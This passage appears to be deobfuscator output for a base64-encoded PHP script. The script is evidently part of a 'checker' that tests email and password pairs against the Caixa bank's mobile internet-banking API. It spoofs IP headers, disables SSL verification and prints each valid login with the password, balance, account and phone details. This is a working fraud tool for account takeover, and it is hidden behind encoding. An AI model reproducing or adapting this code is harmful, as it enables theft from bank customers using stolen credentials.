0Fzc2luYXR1cmEsICJTdWEgYXNzaW5hdHVyYSBlc3RhIEFUSVZBIikgIT09IGZhbHNlKSB7JEFTU0lOQVRVUkEgPSAnQVRJVkEnO30NCmVsc2VpZihzdHJwb3MoJFZlcl9Bc3NpbmF0dXJhLCAiYSBzdWEgYXNzaW5hdHVyYSBlbGV0csO0bmljYSBzZSBlbmNvbnRyYSBibG9xdWVhZGEiKSAhPT0gZmFsc2UpIHskQVNTSU5BVFVSQSA9ICdCTE9RVUVBREEnO30NCmVsc2VpZihzdHJwb3MoJFZlcl9Bc3NpbmF0dXJhLCAiU3VhIGFzc2luYXR1cmEgZXN0YSBDQU5DRUxBREEiKSAhPT0gZmFsc2UpIHskQVNTSU5BVFVSQSA9ICdDQU5DRUxBREEnO30NCmVsc2VpZihzdHJwb3MoJFZlcl9Bc3NpbmF0dXJhLCAiU3VhIGFzc2luYXR1cmEgZXN0YSBTUEFDRVMiKSAhPT0gZmFsc2UpIHskQVNTSU5BVFVSQSA9ICdOw4NPIFBPU1NVSSc7fQ0KZWxzZWlmKHN0cnBvcygkVmVyX0Fzc2luYXR1cmEsICJhIHBhcnRpciBkZXN0ZSBjb21wdXRhZG9yIMOpIHByZWNpc28gYWx0ZXJhciIpICE9PSBmYWxzZSkgeyRBU1NJTkFUVVJBID0gJ05FQ0VTU0lUQSBBTFRFUkFSJzt9DQplbHNleyRBU1NJTkFUVVJBID0gJ0VSUk8nO30NCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vbW9iLmludGVybmV0YmFua2luZy5jYWl4YS5nb3YuYnIvc2luYmMvbmIvY2FkRGlzcG9zaXRpdm8vbGlzdGFkZUNlbHVsYXJlcz9fPScuJGNhY2hlLicnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmFZKA0KJ1hfRk9SV0FSREVEX0ZPUjogJy4kaXAuJycsDQonUkVNT1RFX0FERFI6ICcuJGlwLicnLA0KJ0Nvb2tpZTogJy4kQ29va2llMi4nOyBDQ09PS0lFPSInLiRDb29raWVfU2VuaGEuJyInLA0KJ1VzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA2LjAuMTsgU00tSjUwME0gQnVpbGQvTU1CMjlNOyB3dikgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgQ2hyb21lLzg3LjAuNDI4MC4xNDEgTW9iaWxlIFNhZmFyaS81MzcuMzYnLA0KJ0hvc3Q6IG1vYi5pbnRlcm5ldGJhbmtpbmcuY2FpeGEuZ292LmJyJywNCidDb25uZWN0aW9uOiBLZWVwLUFsaXZlJw0KKSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICJnemlwIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBkaXJuYW1lKF9fRklMRV9fKSAuIi9jb29raWUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgZGlybmFtZShfX0ZJTEVfXykgLiIvY29va2llLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIGRpcm5hbWUoX19GSUxFX18pIC4iL2Nvb2tpZS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCwgIkdFVCIpOw0KJFZlcl9DZWx1bGFyID0gY3VybF9leGVjKCRjaCk7DQokREREID0gaW5TdHIoJFZlcl9DZWx1bGFyLCAnImRkZENlbHVsYXIiOiInLCciJywgMSk7DQokQ0VMID0gaW5TdHIoJFZlcl9DZWx1bGFyLCAnIm51bWVyb0NlbHVsYXIiOiInLCciJywgMSk7DQppZihlbXB0eSgkQ0VMKSl7JENFTFVMQVIgPSAnRVJST1InO30NCmVsc2VpZihzdHJwb3MoJENFTCwgIm51bGwiKSAhPT0gZmFsc2UpIHskQ0VMVUxBUiA9ICdOVUxMJzt9DQplbHNleyRDRUxVTEFSID0gJygnLiREREQuJykgJy4kQ0VMLicnO30NCg0KICAgIGVjaG8gIjxmb250IHN0eWxlPSdmb250LXNpemU6IDE1cHg7Jz48aSBzdHlsZT0nZGlzcGxheTogbm9uZTsnPkxPR0lOX0xJVkU8L2k+ICRlbWFpbCB8ICRzZW5oYSAtIE5PTUU6ICROT01FIMK7IFNBTERPOiAkU2FsZG8gwrsgQ09OVEE6ICRBRyAvICRPUCAvICRDQyDCuyBDRUw6ICRDRUxVTEFSIMK7IEFTU0lOQVRVUkE6ICRBU1NJTkFUVVJBICNQRUFSQ0VDSEs8YnI+IjsgcmV0dXJuOw0KfQ0KDQoNCi8vDQp9DQogICAgICANCn0NCg0K"));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 342bddb8fdf30685396b91bfa6b3b063
Eval Count 1
Decode Time 106 ms